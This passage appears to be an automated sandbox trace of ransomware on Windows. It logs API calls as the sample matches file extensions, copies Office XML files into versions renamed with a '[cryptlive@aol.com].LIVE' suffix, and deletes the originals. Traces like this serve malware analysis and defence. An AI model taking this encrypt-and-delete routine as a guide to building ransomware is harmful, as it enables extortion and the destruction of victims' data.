lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.657] lstrlenW (lpString=".dbf") returned 4 [0045.658] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.658] lstrlenW (lpString=".1cd") returned 4 [0045.658] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0045.658] lstrlenW (lpString=".jpg") returned 4 [0045.658] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.658] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0045.658] lstrlenW (lpString="SETUP.XML") returned 9 [0045.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0046.191] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2362) returned 1 [0046.191] CloseHandle (hObject=0x1b0) returned 1 [0046.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0046.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0046.191] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.191] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.192] GetLastError () returned 0x0 [0046.192] ReadFile (in: hFile=0x1b0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x93a, lpOverlapped=0x0) returned 1 [0046.201] WriteFile (in: hFile=0x208, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x940, lpOverlapped=0x0) returned 1 [0046.202] ReadFile (in: hFile=0x1b0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.202] WriteFile (in: hFile=0x208, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.202] SetEndOfFile (hFile=0x208) returned 1 [0046.202] CloseHandle (hObject=0x208) returned 1 [0046.203] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.203] SetEndOfFile (hFile=0x1b0) returned 1 [0046.204] CloseHandle (hObject=0x1b0) returned 1 [0046.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.204] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0046.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.205] lstrlenW (lpString=".doc") returned 4 [0046.205] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.205] lstrlenW (lpString=".docx") returned 5 [0046.205] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.205] lstrlenW (lpString=".pdf") returned 4 [0046.205] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.205] lstrlenW (lpString=".xls") returned 4 [0046.205] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.205] lstrlenW (lpString=".xlsx") returned 5 [0046.205] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.205] lstrlenW (lpString=".ppt") returned 4 [0046.205] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.205] lstrlenW (lpString=".zip") returned 4 [0046.205] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.205] lstrlenW (lpString=".rar") returned 4 [0046.205] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.205] lstrlenW (lpString=".bz2") returned 4 [0046.205] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.205] lstrlenW (lpString=".7z") returned 3 [0046.205] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.205] lstrlenW (lpString=".dbf") returned 4 [0046.205] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.205] lstrlenW (lpString=".1cd") returned 4 [0046.205] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.206] lstrlenW (lpString=".jpg") returned 4 [0046.206] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.206] lstrlenW (lpString=".doc") returned 4 [0046.206] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.206] lstrlenW (lpString=".docx") returned 5 [0046.206] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.206] lstrlenW (lpString=".pdf") returned 4 [0046.206] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.206] lstrlenW (lpString=".xls") returned 4 [0046.206] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.206] lstrlenW (lpString=".xlsx") returned 5 [0046.206] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.206] lstrlenW (lpString=".ppt") returned 4 [0046.206] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.206] lstrlenW (lpString=".zip") returned 4 [0046.206] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.206] lstrlenW (lpString=".rar") returned 4 [0046.206] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.206] lstrlenW (lpString=".bz2") returned 4 [0046.206] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.206] lstrlenW (lpString=".7z") returned 3 [0046.206] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.206] lstrlenW (lpString=".dbf") returned 4 [0046.206] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.206] lstrlenW (lpString=".1cd") returned 4 [0046.206] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0046.206] lstrlenW (lpString=".jpg") returned 4 [0046.207] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.207] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.207] lstrlenW (lpString="SETUP.XML") returned 9 [0046.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0046.528] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=16683) returned 1 [0046.528] CloseHandle (hObject=0x200) returned 1 [0046.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0046.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0046.528] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.528] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.625] GetLastError () returned 0x0 [0046.625] ReadFile (in: hFile=0x200, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x412b, lpOverlapped=0x0) returned 1 [0046.626] WriteFile (in: hFile=0x160, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4130, lpOverlapped=0x0) returned 1 [0046.627] ReadFile (in: hFile=0x200, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.628] WriteFile (in: hFile=0x160, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.628] SetEndOfFile (hFile=0x160) returned 1 [0046.628] CloseHandle (hObject=0x160) returned 1 [0046.629] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.629] SetEndOfFile (hFile=0x200) returned 1 [0046.630] CloseHandle (hObject=0x200) returned 1 [0046.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.630] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0046.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.630] lstrlenW (lpString=".doc") returned 4 [0046.630] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.630] lstrlenW (lpString=".docx") returned 5 [0046.630] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.630] lstrlenW (lpString=".pdf") returned 4 [0046.630] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.630] lstrlenW (lpString=".xls") returned 4 [0046.630] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.630] lstrlenW (lpString=".xlsx") returned 5 [0046.630] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.630] lstrlenW (lpString=".ppt") returned 4 [0046.630] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.630] lstrlenW (lpString=".zip") returned 4 [0046.631] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.631] lstrlenW (lpString=".rar") returned 4 [0046.631] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.631] lstrlenW (lpString=".bz2") returned 4 [0046.631] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.631] lstrlenW (lpString=".7z") returned 3 [0046.631] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.631] lstrlenW (lpString=".dbf") returned 4 [0046.631] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.631] lstrlenW (lpString=".1cd") returned 4 [0046.631] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.631] lstrlenW (lpString=".jpg") returned 4 [0046.631] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.631] lstrlenW (lpString=".doc") returned 4 [0046.631] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.631] lstrlenW (lpString=".docx") returned 5 [0046.632] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.632] lstrlenW (lpString=".pdf") returned 4 [0046.632] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.632] lstrlenW (lpString=".xls") returned 4 [0046.632] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.632] lstrlenW (lpString=".xlsx") returned 5 [0046.632] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.632] lstrlenW (lpString=".ppt") returned 4 [0046.632] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.632] lstrlenW (lpString=".zip") returned 4 [0046.632] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.632] lstrlenW (lpString=".rar") returned 4 [0046.632] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.632] lstrlenW (lpString=".bz2") returned 4 [0046.632] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.632] lstrlenW (lpString=".7z") returned 3 [0046.632] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.632] lstrlenW (lpString=".dbf") returned 4 [0046.632] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.632] lstrlenW (lpString=".1cd") returned 4 [0046.632] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0046.632] lstrlenW (lpString=".jpg") returned 4 [0046.632] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.632] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.632] lstrlenW (lpString="DATES.XML") returned 9 [0046.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0046.633] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=8918) returned 1 [0046.633] CloseHandle (hObject=0x200) returned 1 [0046.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0046.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0046.633] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.633] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.635] GetLastError () returned 0x0 [0046.635] ReadFile (in: hFile=0x200, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x22d6, lpOverlapped=0x0) returned 1 [0046.637] WriteFile (in: hFile=0x160, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0046.638] ReadFile (in: hFile=0x200, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0046.638] WriteFile (in: hFile=0x160, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.638] SetEndOfFile (hFile=0x160) returned 1 [0046.638] CloseHandle (hObject=0x160) returned 1 [0046.639] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.639] SetEndOfFile (hFile=0x200) returned 1 [0046.640] CloseHandle (hObject=0x200) returned 1 [0046.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.640] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0046.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.640] lstrlenW (lpString=".doc") returned 4 [0046.640] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.640] lstrlenW (lpString=".docx") returned 5 [0046.640] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0046.640] lstrlenW (lpString=".pdf") returned 4 [0046.640] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.640] lstrlenW (lpString=".xls") returned 4 [0046.640] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.640] lstrlenW (lpString=".xlsx") returned 5 [0046.640] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0046.640] lstrlenW (lpString=".ppt") returned 4 [0046.640] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.640] lstrlenW (lpString=".zip") returned 4 [0046.640] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.641] lstrlenW (lpString=".rar") returned 4 [0046.641] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.641] lstrlenW (lpString=".bz2") returned 4 [0046.641] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.641] lstrlenW (lpString=".7z") returned 3 [0046.641] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.641] lstrlenW (lpString=".dbf") returned 4 [0046.641] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.641] lstrlenW (lpString=".1cd") returned 4 [0046.641] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.641] lstrlenW (lpString=".jpg") returned 4 [0046.641] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0046.641] lstrlenW (lpString=".doc") returned 4 [0046.641] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.641] lstrlenW (lpString=".docx") returned 5 [0046.641] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0046.641] lstrlenW (lpString=".pdf") returned 4 [0046.641] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.641] lstrlenW (lpString=".xls") returned 4 [0046.641] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.641] lstrlenW (lpString=".xlsx") returned 5 [0046.641] lstrcmpiW (lpString1=".xlsx", 